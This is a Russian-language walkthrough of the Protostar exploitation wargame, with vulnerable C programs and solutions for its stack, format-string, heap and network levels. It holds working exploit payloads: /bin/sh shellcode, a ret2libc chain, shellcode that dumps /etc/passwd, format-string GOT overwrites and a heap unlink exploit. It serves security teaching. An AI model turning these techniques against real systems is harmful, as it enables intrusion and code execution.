Pull to refresh

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

Reading time20 min
Views21K


Всем доброго времени суток. Продолжаем разбор заданий с сайта Exploit Exercises, и сегодня будут рассмотрены основные типы бинарных уязвимостей. Сами задания доступны по ссылке. На этот раз нам доступны 24 уровня, по следующим направлениям:

  • Network programming
  • Byte order
  • Handling sockets
  • Stack overflows
  • Format strings
  • Heap overflows

Задания по каждой категории идут от простого к сложному, демонстрируя базовые приемы эксплуатации уязвимостей.

Stack0


Этот уровень демонстрирует, как изменение локальных переменных в ходе обычного переполнения буфера, может повлиять на ход выполнения программы.

stack0.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}


Всё что нужно сделать, это просто переполнить отправить в переменную buffer, строку, превышающую её размер:

user@protostar:~$ python -c 'print("A"*100)' | /opt/protostar/bin/stack0

Получаем результат:
you have changed the 'modified' variable

Stack1


На прошлом уровне мы просто перезаписывали переменную modified, на этом требуется присвоить ей конкретное значение:

stack1.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}


Поэтому для начала заполняем buffer, а затем устанавливаем modified:

user@protostar:~$ /opt/protostar/bin/stack1 `python -c 'from struct import pack; print("A"*64+pack("<I", 0x61626364))'`

И сообщение об успешном выполнении:
you have correctly got the variable to the right value

Stack2


На этом уровне всё тоже самое, за исключением того, что значения считываются из переменных окружения. А им как вы помните из предыдущей части, доверять нельзя:

stack2.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}


Запускаем stack2 с предварительно установленной переменой окружения GREENIE:
user@protostar:~$ GREENIE=`python -c 'from struct import pack; print("A"*64+pack("<I",0x0d0a0d0a))'` /opt/protostar/bin/stack2

you have correctly modified the variable

Stack3


На этом уровне от нас требуется захватив регистр EIP, передать управление на функцию win:

stack3.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}


Для начала, выясним её адрес:

(gdb) disassemble win
Dump of assembler code for function win:
0x08048424 <win+0>:	push   %ebp
0x08048425 <win+1>:	mov    %esp,%ebp
0x08048427 <win+3>:	sub    $0x18,%esp
0x0804842a <win+6>:	movl   $0x8048540,(%esp)
0x08048431 <win+13>:	call   0x8048360 <puts@plt>
0x08048436 <win+18>:	leave  
0x08048437 <win+19>:	ret    
End of assembler dump.

И выполним уже знакомые действия:

user@protostar:~$ python -c 'from struct import pack; print("A"*64+pack("<I", 0x08048424))' | /opt/protostar/bin/stack3

Адрес возврата изменён, о чем нас уведомляет следующее сообщение:
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack4


Этот уровень уже как раз демонстрирует изменение адреса возврата, при его обычном расположении в стеке:

stack4.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}


user@protostar:~$ gdb /opt/protostar/bin/stack4

Узнаём адрес, по которому расположена функция win:

(gdb) disassemble win
Dump of assembler code for function win:
0x080483f4 <win+0>:	push   %ebp
0x080483f5 <win+1>:	mov    %esp,%ebp
0x080483f7 <win+3>:	sub    $0x18,%esp
0x080483fa <win+6>:	movl   $0x80484e0,(%esp)
0x08048401 <win+13>:	call   0x804832c <puts@plt>
0x08048406 <win+18>:	leave  
0x08048407 <win+19>:	ret    
End of assembler dump.

Далее находим в стеке смещение, для перезаписи регистра EIP:

gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'



Ну и собственно выполнив небольшой код, заставляем программу перейти на нужный нам участок:

opt/protostar/bin$ perl -e 'print "A"x76 . "\xf4\x83\x04\x08"' | ./stack4

О чем свидетельствует сообщение:
code flow successfully changed

Stack5


На этом уровне начинается введение в использование шелл-кодов.

stack5.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}


user@protostar:/opt/protostar/bin$ gdb -ex r ./stack5

Starting program: /opt/protostar/bin/stack5
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) x/20xw $esp-100
0xbffff76c:	0x080483d9	0xbffff780	0xb7ec6165	0xbffff788
0xbffff77c:	0xb7eada75	0x42424242	0x42424242	0x42424242
0xbffff78c:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffff79c:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffff7ac:	0x42424242	0x42424242	0x42424242	0x42424242

Создадим в peda небольшой шелл-код:

gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

Осталось это всё объединить:

user@protostar:/opt/protostar/bin$ (python -c 'from struct import pack; print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"+"\x90"*(76-24)+pack("<I", 0xbffff780))';cat) | gdb -q -ex r --batch ./stack5
Executing new program: /bin/dash
id
uid=1001(user) gid=1001(user) groups=1001(user)

Немного поясню: cat в обычном режиме запускается и бесконечно начинает пересылать всё что приходит на STDIN в STDOUT, dash этого делать не умеет, и без параметров сразу закрывается.

Stack6


Продолжаем изучать шеллкод. На этом уровне нас просят для успешной эксплуатации воспользоваться одной из техник: ret2libc или ROP.

stack6.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}


С кодом всё понятно, приступим к поиску адреса возврата. Скачав файл себе, и запустив его в peda, создаём паттерн:



Запускаем наш бинарник, передаём ему созданный шаблон, и просим peda найти нужные нам смещения:



В этом задании будем использовать технику ret2libc, но для начала найдём необходимые адреса:

(gdb) x/s *((char **)environ+14)
0xbfffff84:	 "SHELL=/bin/sh"
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$1 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

Так как у нас не включен ASLR, то с этим проблем не возникло. В качестве параметра для функции system, передадим ей адрес на переменную окружения SHELL. Таким образом у нас есть все необходимые данные для создания сплоита:

eipOffset = 80
systemAddr = 0xb7ecffb0
exitAddr = 0xb7ec60c0
shellAddr = 0xbfffff8a

Сам сплоит будет выглядеть следующим образом:
A * eipOffset | systemAddr | exitAddr | shellAddr

Осталось это всё объединить:



После запуска получаем доступ к оболочке.

P.S. Ответ на вопрос: почему несмотря на наличие SUID бита мы не получаем root, был в разборе задания Level11

Stack7


Уровень полностью совпадает с предыдущим, за исключением того, что нас просят воспользоваться msfelfscan, для поиска ROP гаджетов.

stack7.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}


Выполняем те же действия что и в предыдущем задании:



Как можем наблюдать, peda нам сообщила о том, что регистр EAX как раз указывает на начало нашего буфера. Попробуем найти инструкции call/jmp eax в коде stack7, воспользовавшись предложенным msfelfscan:

$ msfelfscan -j eax ./stack7
[./stack7]
0x080484bf call eax
0x080485eb call eax

Для примера, возьмём этот шелл, который выведет нам содержимое файла /etc/passwd
В итоге сплоит будет выглядеть следующим образом:

user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print("\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"+"\x90"*(80-43)+pack("<I",0x080484bf))' | ./stack7

После запуска получаем соответствующий вывод:

Результат работы сплоита
input path please: got path 1��Rh/cath/bin��Rhsswdh//pah/etc���
RQS��̀�������������������������������������
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
protostar:x:1000:1000:protostar,,,:/home/protostar:/bin/bash
user:x:1001:1001::/home/user:/bin/sh


Format0


Мы подошли к уязвимостям форматной строки. На этом уровне демонстрируется, пример того, как используя эту уязвимость, можно изменить ход выполнения программы. При этом есть условие: Нужно уложиться в строку размером 10 байт.

format0.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}


Программа принимает первый аргумент командной строки, и без фильтрации передаёт его в sprintf. В случае обычного переполнения это решение выглядело бы следующим образом:

user@protostar://opt/protostar/bin$ ./format0 `python -c 'from struct import pack; print("A"*64+pack("<I",0xdeadbeef))'`
you have hit the target correctly :)

В 10 байт мы явно не укладываемся, поэтому стоит прибегнуть к возможностям строкового форматирования:

user@protostar://opt/protostar/bin$ ./format0 `python -c 'from struct import pack; print("%64x"+pack("<I",0xdeadbeef))'`
you have hit the target correctly :)

Мы всё так же решили задачу переполнением переменной buffer, однако теперь за нас это сделала функция sprintf

Format1


Уровень Format1 демонстрирует возможность изменения значений в памяти, по произвольному адресу.

format1.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}


Воспользовавшись objdump найдём адрес по которому расположена переменная target:

user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep target
08049638 g     O .bss	00000004              target

Далее, вычислим смещение, куда мы можем записывать данные:

user@protostar://opt/protostar/bin$ for i in {1..200}; do ./format1 "AAAA%$i\$x"; echo " $i"; done | grep 4141
AAAA41414141 127

Теперь мы можем изменить значение глобальной переменной target, следующим образом:

user@protostar://opt/protostar/bin$ ./format1 `python -c 'from struct import pack; print(pack("<I",0x08049638)+"%127$n")'`
8�you have modified the target :)

Format2


Следующий уровень демонстрирует не просто изменение произвольного адреса, а запись по нему конкретного значения.

format2.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}


Собственно алгоритм действий на первом этапе будет таким же, попробуем просто записать в target какое-нибудь значение. Заодно посмотрим как работал предыдущий пример.

Узнаём необходимую информацию:

user@protostar:/opt/protostar/bin$ objdump -t ./format2 | grep target
080496e4 g     O .bss	00000004              target
user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i -> "; echo "AAAA%$i\$x" | ./format2; done | grep 4141
4 -> AAAA41414141

Теперь попробуем осуществить запись, как это было на предыдущем уровне:

user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496e4)+"%4$n")' | ./format2
��
target is 4 :(
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496e4)+"A"+"%4$n")' | ./format2
��A
target is 5 :(

Как и следовало ожидать, в target записывается количество байт до спецификатора %n. Осталось записать туда необходимое значение — 64. Которое будет получено как: 4 байта — адрес + отступ 60 символов:

user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496e4)+"%60x"+"%4$n")' | ./format2
��                                                         200
you have modified the target :)


Format3


Писать 1 байт это хорошо, но не практично. Поэтому этот уровень показывает как можно записать в память более 1 или 2-х байт.
format3.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}


Есть несколько способов это сделать:

  • Мы можем писать конкретное значение в конкретный участок памяти как в предыдущем примере, следовательно, почему бы не записать сразу необходимое значение:

    user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496f4)+"%16930112x"+"%12$n")' | ./format3 | grep "you"
    	you have modified the target :)

    Минус этого метода в том, что предварительно нам будет выведен отступ в 0x01025544 символа;

  • Второй способ — это записывать значения по 1-2 байта

    user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496f4)+pack("<I",0x080496f5)+pack("<I",0x080496f6)+"%56x"+"%12$n"+"%17x%13$n"+"%173x%14$n")' | ./format3
    	������                                                       0         bffff5e0                                                                                                                                                                     b7fd7ff4
    	you have modified the target :)

    В начале мы указываем адреса по которым будем менять байты, затем уже привычным образом подбираем соответствующие значения. При этом стоит помнить о том, что мы ограничены в диапазоне изменения конкретного байта, т.е. каждый последующий должен быть больше предыдущего, так к примеру минимальное значение которое при данном способе можно записать в байт по смещению %14$n => 0x5c. Поэтому туда мы записываем сразу 2 байта;

  • Кончено никто не запрещает менять порядок записи байт, например вот так:

    user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496f6)+pack("<I",0x080496f4)+"%250c%12$hn"+"%21570c%13$hn")' | ./format3
    	you have modified the target :)

    Вывода большого количества отступов не избежать, но опять же, изменять младшие байты мы можем начиная со значения 0x0103.

Format4


Вот мы и подошли к финальному и пожалуй самому интересному уровню на эксплуатацию уязвимости форматной строки. Тут от нас требуется, передать управление в функцию hello().

format4.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}


Наиболее простым способом это сделать является перезаписть адреса в таблице GOT, для функции exit() на адрес функции hello(). Для начала найдем необходимые адреса:

user@protostar:/opt/protostar/bin$ objdump -t ./format4 | grep hello
080484b4 g     F .text	0000001e              hello
user@protostar:/opt/protostar/bin$ objdump -R ./format4 | grep exit
08049724 R_386_JUMP_SLOT   exit

Далее определяем смещение, по которому расположен пользовательский буфер:

user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i -> "; echo "AAAA%$i\$x" | ./format4; done | grep 4141
4 -> AAAA41414141

Значения отступов, которые нужно использовать чтобы записать необходимое нам число можно рассчитать в Python следующим образом:

>>> 0x0804 - 8
2044
>>> 0x84b4 - 8 - 2044
31920

Теперь можно приступить к созданию сплоита:

user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I", 0x08049726) + pack("<I", 0x08049724) + "%2044c%4$hn" + "%31920c%5$hn")' | ./format4
&�$�
code execution redirected! you win

После выполнения которого, получаем сообщение об успешном выполнении функции hello()

Heap0


Этот уровень показывает основы переполнения кучи, и как это может повлиять на ход выполнения программы.

heap0.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();
}


gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ set args 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r



user@protostar:/opt/protostar/bin$ ./heap0 `python -c 'from struct import pack; print("A"*72+pack("<I",0x08048464))'`
data is at 0x804a008, fp is at 0x804a050
level passed

Heap1


heap1.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

  
struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}


gdb-peda$ p winner 
$1 = {void (void)} 0x8048494 <winner>

$ objdump -R ./heap1 | grep puts
08049774 R_386_JUMP_SLOT   puts

gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ set args 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA BBBBBBBB'
gdb-peda$ run
...
gdb-peda$ pattern_search 
Registers contain pattern buffer:
EAX+0 found at offset: 20
EDX+0 found at offset: 20

$ ./heap1 `python -c 'from struct import pack; print("A"*20+pack("<I",0x08049774)+" "+pack("<I",0x8048494))'`
and we have a winner @ 1487263180

Heap2


heap2.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}


Что делает код? Сначала выводятся адреса 2х объектов auth и service, сделано это для большей наглядности. Затем в зависимости от считанной строки, происходит либо выделение памяти под тот или иной объект либо её освобождение.

Наиболее интересна тут следующая конструкция:

      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {

Интересна она тем, что тут отсутствует проверка того, выделена ли память под объект auth или нет, т.е. код будет отрабатывать в любом случае, не зависимо от того освободили ли мы этот объект или нет. На лицо явная уязвимость use-after-free. Осталось её проэксплуатировать. Для начала выделим память для auth:

user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]

Хорошо, у нас выделилось 32 (sizeof(name)) + 4 (sizeof(auth)) байт. Теперь освободим этот участок:

reset
[ auth = 0x804c008, service = (nil) ]

Вроде бы ничего не изменилось, но взглянем на это под отладчиком:



Это до reset



А это после.

А теперь попробуем записать строку используя команду service:

service admin
[ auth = 0x804c008, service = 0x804c008 ]

Адреса полностью совпадают, это объясняется тем, что strdup так же использует malloc для выделения памяти под конечную строку, а так как мы только что пометили предыдущий участок, как свободный, то именно он у нас и стал использоваться. Таким образом, мы можем переписать и данные расположенные по адресу auth->auth, чтобы проверка логина прошла успешно.

Конечный эксплоит будет выглядеть так:

user@protostar:/opt/protostar/bin$ python -c 'print("auth admin\nreset\nservice "+"A"*36+"\nlogin")' | ./heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

Heap3


heap3.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}


Для наглядности воспользуемся peda, предварительно установив брейкпоинты в нужных местах:

gdb-peda$ b *0x080488d5  //strcpy(a, argv[1]);
gdb-peda$ b *0x08048911  //free(c);
gdb-peda$ b *0x08048935  //printf("dynamite failed?\n");
gdb-peda$ r `python -c 'print("A"*32 +" "+ "B"*32 +" "+ "C"*32)'`

После запуска срабатывает первый брейкпоинт. Узнаём адрес по которому расположена куча:



Посмотрим как выглядит куча, ещё до копирования в неё переданных аргументов:



P.S. для наглядности я не стал захватывать участок в 4 байта, расположенный перед указателем на размер чанка.

Сначала у нас идёт размер текущего куска: 0x804c004 + 0x29 = 0x804c02d — именно по этому адресу находятся данные, которые у нас помещены как «B», и так далее, в самом конце указан размер корзины. Теперь взглянем на этот же участок, перейдя к следующей точке останова:



Хорошо, с этим разобрались, осталось узнать что происходит с памятью, в куче после её освобождения:



Как видно, теперь каждый чанк, содержит указатель на следующий свободный
Так как копирование в данном примере осуществляется за счет strcpy, т.е. без ограничения по длине, то мы запросто можем переписать метаданные любого имеющегося чанка, в том числе и создать свой. Более подробно об этом можно узнать тут.

Для начала найдём адрес функции winner:

gdb-peda$ p winner
$1 = {void (void)} 0x8048864 <winner>

Переписывать мы будем адрес в GOT для функции puts:

user@protostar:/opt/protostar/bin$ objdump -R ./heap3 | grep puts
0804b128 R_386_JUMP_SLOT   puts

Шеллкод думаю описывать не нужно:

$ rasm2 'mov eax, 0x8048864; call eax'
b864880408ffd0

Приступим к созданию эксплоита. Так как эксплоит будет использовать особенности работы макроса unlink то адрес puts в GOT у нас станет:

0x0804b128 — 0xC = 0x0804b11c

Его собственно нужно заменить на адрес, по которому располагается первый чанк, куда мы и запишем шелл-код:
0x804c00c = 0x804c000 + 0xC

Третий чанк у нас будет расширен, за счет strcpy, и поделён на 2, так как нам нужно 2 подряд идущих чанка, которые будут помечены как свободные, иначе unlink не сработает. Конечный вид будет таким:

user@protostar:/opt/protostar/bin$ ./heap3 `python -c 'from struct import pack; print("\x90"*16+"\xb8\x64\x88\x04\x08\xff\xd0" +" "+ "B"*36+"\x65" +" "+ "C"*92+pack("<I",0xfffffffc)+pack("<I",0xfffffffc)+pack("<I",0x0804b11c)+pack("<I",0x804c00c))'`
that wasn't too bad now, was it? @ 1488287968
Segmentation fault

И после запуска получаем необходимое сообщение, из функции winner, и ошибку сегментации, которая нам не интересна, ведь цель выполнена.

Net0


net0.c
#include "../common/common.c"

#define NAME "net0"
#define UID 999
#define GID 999
#define PORT 2999

void run()
{
  unsigned int i;
  unsigned int wanted;

  wanted = random();

  printf("Please send '%d' as a little endian 32bit int\n", wanted);

  if(fread(&i, sizeof(i), 1, stdin) == NULL) {
      errx(1, ":(\n");
  }

  if(i == wanted) {
      printf("Thank you sir/madam\n");
  } else {
      printf("I'm sorry, you sent %d instead\n", i);
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  /* Don't do this :> */
  srandom(time(NULL));

  run();
}


Как следует из описания, на этом уровне нас хотят познакомить с преобразованием строки в «little endian» число.

Поэтому без лишних слов, открываем python:

#!/usr/bin/python3
import socket
from struct import pack
host = '10.0.31.119'
port = 2999
s = socket.socket()
s.connect((host, port))
data = s.recv(1024).decode()
print(data)
data = int(data[13:13 + data[13:].index("'")])
s.send(pack("<I", data))
print(s.recv(1024).decode())

Считываем число, и используя функцию pack из модуля struct, приводим его к нужному формату. Осталось только запустить:

gh0st3rs@gh0st3rs-pc:protostar$ ./net0.py
Please send '1251330920' as a little endian 32bit int

Thank you sir/madam

Net1


net1.c
#include "../common/common.c"

#define NAME "net1"
#define UID 998
#define GID 998
#define PORT 2998

void run()
{
  char buf[12];
  char fub[12];
  char *q;

  unsigned int wanted;

  wanted = random();

  sprintf(fub, "%d", wanted);

  if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) {
      errx(1, ":(\n");
  }

  if(fgets(buf, sizeof(buf)-1, stdin) == NULL) {
      errx(1, ":(\n");
  }

  q = strchr(buf, '\r'); if(q) *q = 0;
  q = strchr(buf, '\n'); if(q) *q = 0;

  if(strcmp(fub, buf) == 0) {
      printf("you correctly sent the data\n");
  } else {
      printf("you didn't send the data properly\n");
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  /* Don't do this :> */
  srandom(time(NULL));

  run();
}


На этом уровне поставлена обратная задача, преобразовать полученные байты в строку. Снова воспользуемся Python:

#!/usr/bin/python3
import socket
from struct import unpack
host = '10.0.31.119'
port = 2998
s = socket.socket()
s.connect((host, port))
data = s.recv(1024)
print(data)
data = unpack("I", data)[0]
s.send(str(data).encode())
print(s.recv(1024).decode())

Да, вот так просто…

gh0st3rs@gh0st3rs-pc:protostar$ ./net0.py 
b'\x92\xc5_x'
you correctly sent the data

Net2


net2.c
#include "../common/common.c"

#define NAME "net2"
#define UID 997
#define GID 997
#define PORT 2997

void run()
{
  unsigned int quad[4];
  int i;
  unsigned int result, wanted;

  result = 0;
  for(i = 0; i < 4; i++) {
      quad[i] = random();
      result += quad[i];

      if(write(0, &(quad[i]), sizeof(result)) != sizeof(result)) {
          errx(1, ":(\n");
      }
  }

  if(read(0, &wanted, sizeof(result)) != sizeof(result)) {
      errx(1, ":<\n");
  }


  if(result == wanted) {
      printf("you added them correctly\n");
  } else {
      printf("sorry, try again. invalid\n");
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  /* Don't do this :> */
  srandom(time(NULL));

  run();
}


Последний уровень из этой серии. На котором нужно применить знания полученные ранее. Нам даны 4 uint числа, нужно отправить их сумму:

